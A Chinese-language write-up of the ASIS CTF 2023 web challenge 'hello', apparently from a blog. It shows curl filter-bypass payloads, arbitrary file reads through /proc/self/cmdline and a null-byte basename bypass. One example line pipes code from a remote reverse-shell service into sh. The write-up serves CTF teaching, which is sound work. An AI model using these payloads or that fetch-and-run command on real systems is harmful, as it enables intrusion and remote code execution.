• asisctf 2023 web hello wp


    hello

    开题,直接给了源码。

    
    /*
    Read /next.txt
    Hint for beginners: read curl's manpage.
    */
    highlight_file(__FILE__);
    $url = 'file:///hi.txt';
    if(
        array_key_exists('x', $_GET) &&
        !str_contains(strtolower($_GET['x']),'file') && 
        !str_contains(strtolower($_GET['x']),'next')
    ){
        $url = $_GET['x'];
    }
    system('curl '.escapeshellarg($url));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    image-20230922231555502

    提示我们读取/next.txt文件,但是代码中用str_contains()函数过滤了字符串filenext

    分析一下陌生函数。

    array_key_exists('x', $_GET):检查数组里是否有指定的键名或索引,相当于issert($_GET['x'])

    str_contains(strtolower($_GET['x']),'file'):将第一个参数转小写后检测第一个参数($_GET[‘x’])里面是否包含第二个参数(file字符串)

    escapeshellarg($url):将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。这样一来,我们只能curl 一个URL了,无法拼接等操作执行别的命令。


    尝试用curl命令+file://伪协议读取文件/next.txt,期间还要绕过过滤。

    image-20230923192507614

    payload:

    ?x=fil{e}:///nex{t}.txt
    
    或者
    
    ?x=fil%ffe:///nex%fft.txt
    
    或者正则匹配绕过
    
    ?x=fil[e-e]:///nex[t-t].txt
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    解释一下这些paylaod。

    第一个包花括号的?x=fil{e}:///nex{t}.txt

    这个包花括号绕过法目前只发现对curl的参数有效。比如:

    curl fil{e}:///nex{t}.txt
    curl {h}ttps://your-shell.com/120.46.41.173:9023 | sh
    
    • 1
    • 2

    第二个payload?x=fil%ffe:///nex%fft.txt是利用了escapeshellarg()函数的漏洞,可参考浅谈CTF中escapeshellarg的利用_escapeshellarg 绕过_slug01sh的博客-CSDN博客

    成功读取/next.txt文件,提示我们前往http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/

    image-20230922231627720

    提示我们输入/read/?file=/proc/self/cmdline,猜测这里file参数存在任意文件读取。

    image-20230923003017440

    先读取一下/proc/self/cmdline看看。

    image-20230923203529629

    L2Jpbi9idW4tMS4wLjIAL2FwcC9pbmRleC5qcwA=
    
    解密后是
    
    /bin/bun-1.0.2\x00/app/index.js\x00
    
    • 1
    • 2
    • 3
    • 4
    • 5

    读取/app/index.js/read/?file=/app/index.js。解码后是:

    const fs = require('node:fs');
    const path = require('path')
    
    /*
    I wonder what is inside /next.txt  
    */
    
    const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
    const server = Bun.serve({
      port: 8000,
      fetch(req) {
      	let url = new URL(req.url);
      	let pname = url.pathname;
      	if(pname.startsWith(`/${secret}`)){
          if(pname.startsWith(`/${secret}/read`)){
            try{
              let fpath = url.searchParams.get('file');
              if(path.basename(fpath).indexOf('next') == -1){ 
                return new Response(fs.readFileSync(fpath).toString('base64'));
              } else {
                return new Response('no way');
              }
            } catch(e){ }
            return new Response("Couldn't read your file :(");
          }
          return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
        }
        return 
      }
    });
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    读一遍代码后发现了逻辑漏洞。在过滤时使用了basename()函数处理传入的文件路径。

    if (path.basename(fpath).indexOf('next') == -1){
        return newResponse(fs.readFileSync(fpath).toString('base64'));
    }
    
    • 1
    • 2
    • 3

    JS中的basename()函数功能类似于PHP中的basename()函数。函数返回路径中的文件名部分。例如当前路径为/foo/bar.txt,则返回bar.txt

    payload:(%00截断)

    /read/?file=/next.txt%00/xxx
    
    • 1

    image-20230923210447630

    Tm93IGl0J3MgdGltZSBmb3IgYSB3aGl0ZWJveCBjaGFsbGVuZ2UuCkZpbmQgdGhlIGhpZGRlbiBzdWJkb21haW4gYW5kIHRoZW4gYSBzZWNyZXQgZW5kcG9pbnQgYW5kIG9ubHkgdGhlbiB5b3UgbWF5IHJlY2VpdmUgeW91ciBmbGFnLgpMaW5rIHRvIHRoZSB3ZWJzaXRlOiBgYW5WemRDQnJhV1JrYVc1bkxpQkJVMGxUZTJkdmIyUmZhbTlpWDJKMWJuMGdDZz09YAoK
    
    解码后是
    
    Now it's time for a whitebox challenge.
    Find the hidden subdomain and then a secret endpoint and only then you may receive your flag.
    Link to the website: `anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==`
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==
    
    解码后如下,成功得到flag
    
    just kidding. ASIS{good_job_bun} 
    
    • 1
    • 2
    • 3
    • 4
    • 5
  • 相关阅读:
    蓝桥杯备战11.歌唱比赛
    西藏2022中国农民丰收节 国稻种芯:让农牧民成为活动主角
    AcWing 1273:天才的记忆 ← ST算法求解RMQ问题
    强化学习论文分析4---异构网络_强化学习_功率控制《Deep Reinforcement Learning for Multi-Agent....》
    FPGA 按键控制串口发送
    文心一言 VS 讯飞星火 VS chatgpt (111)-- 算法导论10.2 2题
    接口自动化测试框架(pytest+allure+aiohttp+ 用例自动生成)
    @pytest.mark.dependency依赖跨模块时,当前测试方法自动被跳过
    监听滚动事件
    机械故障诊断信号幅域分析- 时域统计特征 | 基于python代码实现,在CWRU和IMF轴承数据及上实战
  • 原文地址:https://blog.csdn.net/Jayjay___/article/details/133321714